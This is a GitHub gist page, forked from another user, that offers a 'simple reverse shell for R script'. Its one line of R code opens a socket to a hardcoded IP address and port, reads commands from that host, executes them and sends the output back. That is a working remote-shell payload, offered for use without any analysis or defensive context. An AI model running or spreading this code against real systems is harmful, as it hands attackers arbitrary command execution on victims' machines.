Skip to content

Instantly share code, notes, and snippets.

@trietptm
Forked from DaveYesland/reverse_shell.r
Created April 17, 2020 13:13
Show Gist options
  • Save trietptm/05f385df4d2d8c0ee35b217e7307e462 to your computer and use it in GitHub Desktop.
Save trietptm/05f385df4d2d8c0ee35b217e7307e462 to your computer and use it in GitHub Desktop.
Simple reverse shell for R script.
c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment